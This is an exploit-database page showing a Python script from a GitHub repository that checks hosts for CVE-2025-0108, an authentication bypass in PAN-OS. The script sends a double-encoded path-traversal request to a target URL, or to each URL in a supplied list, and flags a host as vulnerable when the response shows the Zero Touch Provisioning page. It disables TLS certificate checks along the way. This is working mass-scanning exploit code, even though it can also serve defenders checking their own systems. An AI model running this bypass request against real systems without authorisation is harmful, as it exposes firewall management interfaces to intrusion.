Exploit databaseDownload repository ZIP
GH-18fa3ef388512f4b02886fb9a4b09bc1
sohaibeb/cve-2025-0108
Sources for CVE-2025-0108
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
sohaibeb/cve-2025-0108Revision e88ea7a8d5d9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE_2025_0108_V1.py
Suggested starting filePython · 2,824 bytesimport requests
import argparse
from urllib.parse import urljoin
import ssl
import logging
# Disable SSL warnings
ssl._create_default_https_context = ssl._create_unverified_context
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
# Logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', handlers=[
logging.StreamHandler(),
logging.FileHandler("scan_results.log")
])
def read_file(file_path):
"""Read URLs from a file and return them as a list."""
try:
with open(file_path, 'r') as file:
return file.read().splitlines()
except Exception as e:
logging.error(f"Error reading file {file_path}: {e}")
return []
def check_vulnerability(url):
"""
Check if the given URL is vulnerable to CVE-2025-0108.
A vulnerable site should return 'Zero Touch Provisioning' in the response.
"""
protocols = ['http://', 'https://']
target_path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"
for protocol in protocols:
target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), target_path)
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) Gecko/20100101 Firefox/72.0"
}
try:
response = requests.get(target_url, verify=False, headers=headers, timeout=10)
if response.status_code == 200 and 'Zero Touch Provisioning' in response.text:
message = f"Vulnerable: {url} - CVE-2025-0108 Vulnerability (Authentication Bypass)!"
logging.info(message)
return True
else:
logging.debug(f"Not vulnerable: {url} - Response code: {response.status_code}")
except requests.exceptions.RequestException as e:
logging.warning(f"Error connecting to {url}: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Check for CVE-2025-0108 vulnerability (Authentication Bypass).")
parser.add_argument("-u", "--url", help="Single URL to check")
parser.add_argument("-f", "--file", help="File containing a list of URLs to check")
args = parser.parse_args()
url = args.url
file = args.file
if url:
check_vulnerability(url)
elif file:
urls = read_file(file)
if urls:
for u in urls:
check_vulnerability(u)
else:
logging.error("No URLs found in the file.")
else:
logging.error("Please provide a URL or a file containing URLs to check.")
logging.info("Usage: python CVE_2025_0108_V1.py -u <URL> or python CVE_2025_0108_V1.py -f <file_with_urls>")
# About
logging.info("\nAuthor: Sohaib E.B. - sohaib.eu")